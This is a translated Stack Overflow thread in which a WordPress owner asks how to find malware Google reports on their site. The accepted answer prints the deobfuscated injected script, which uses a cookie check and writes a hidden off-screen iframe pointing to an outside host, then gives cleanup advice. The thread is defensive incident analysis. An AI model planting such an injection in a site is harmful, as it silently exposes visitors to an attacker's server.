如何在网站上查找恶意代码/恶意软件

8
我的WordPress网站最近被恶意软件感染并列入黑名单。我认为通过更新网站和插件并删除我不认识的任何代码来修复它。
然后我使用了Sucuri Site Checker,看起来没问题,所以我向谷歌提交了审核请求。但是,谷歌说它仍然包含恶意代码(他们将其称为代码注入)。
我有点不知所措。是否有一种方法可以找到谷歌发现的代码?该域名为sudorf.co.uk,但它已被恶意软件感染,因此我建议不要去那里-不知道恶意软件会做什么。
任何帮助将不胜感激。
编辑:几天前,我找到了那段代码并将其删除,然后更新了所有版本等。但是显然又回来了。有人有想法它可能是如何得到的吗?我的想法是要么来自插件-这就是为什么我要删除所有插件的原因。另一个是联系表单-但我不认为这将允许他们编辑header.php。

4
<body>标签后面有一个恶意的<script>代码块。它可能来自多个地方,最好的解决方案(就像感染一样)是将其清除并返回到已知的良好版本。并查阅最佳安全实践-最小化文件权限,保持与新版本同步,安装专门的WordPress安全插件... 但最终WordPress是一个巨大的脚本小子磁铁,你会一遍又一遍地受到攻击,仅仅因为你在运行WordPress。 - DCoder
关闭所有插件并恢复到标准主题,然后让 Google 重新测试。逐个添加插件,直到发现问题。Google 是否没有提供进一步的详细信息(例如 URL)? - halfer
很遗憾,他们提供的唯一细节与代码注入有关。 - Pectus Excavatum
1
你最好的解决方案是找一位有经验的服务器管理员或安全专业人员来确定你的网站是如何被黑客攻击的。在你确切知道代码是如何进入你的网站之前,你无法确定它不会再次出现。 - Anigel
此问题似乎不适合此处,因为它涉及一般编程技术并应发布在[programmers.se]。 - Kermit
显示剩余3条评论
1个回答

8

这是纯信息。当您的恶意软件被去混淆时,它看起来像这样:

 function k09() {
     var static = 'ajax';
     var controller = 'index.php';
     var k = document.createElement('iframe');

     k.src = 'http://dostojewskij-gesellschaft.de/VD49Jdzr.php';
     k.style.position = 'absolute';
     k.style.color = '512';
     k.style.height = '512px';
     k.style.width = '512px';
     k.style.left = '1000512';
     k.style.top = '1000512';

     if (!document.getElementById('k')) {
         document.write('<p id=\'k\' class=\'k09\' ></p>');
         document.getElementById('k').appendChild(k);
     }
 }

 function SetCookie(cookieName, cookieValue, nDays, path) {
     var today = new Date();
     var expire = new Date();
     if (nDays == null || nDays == 0) nDays = 1;
     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
     document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
 }

 function GetCookie(name) {
     var start = document.cookie.indexOf(name + "=");
     var len = start + name.length + 1;
     if ((!start) &&
         (name != document.cookie.substring(0, name.length))) {
         return null;
     }
     if (start == -1) return null;
     var end = document.cookie.indexOf(";", len);
     if (end == -1) end = document.cookie.length;
     return unescape(document.cookie.substring(len, end));
 }
 if (navigator.cookieEnabled) {
     if (GetCookie('visited_uq') == 55) {} else {
         SetCookie('visited_uq', '55', '1', '/');

         k09();
     }
 }

http://dostojewskij-gesellschaft.de/VD49Jdzr.php只是简单地输出“OK”。

为什么?

我的猜测是这是一个IP / 流量记录器。也许是为了让黑客检查哪些博客最活跃,然后稍后回来并攻击该特定站点(不需要浪费时间在每月有2个访问者的站点上)。这既好又坏。

好的部分是它似乎他们没有使用您的用户数据库或其他任何内容。

坏的部分是,由于显然他们已经在您的服务器上具有执行权限,并且可能已经在整个服务器上放置了他们的PHP文件,因此他们很可能已经下载了您的整个数据库。您最好从新的WP开始,并逐一复制插件/主题,同时手动检查它们。

更改所有密码。甚至您的DB登录也要更改。考虑所有内容都已被攻击。


我会这样做的。感谢你的所有帮助。 - Pectus Excavatum

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接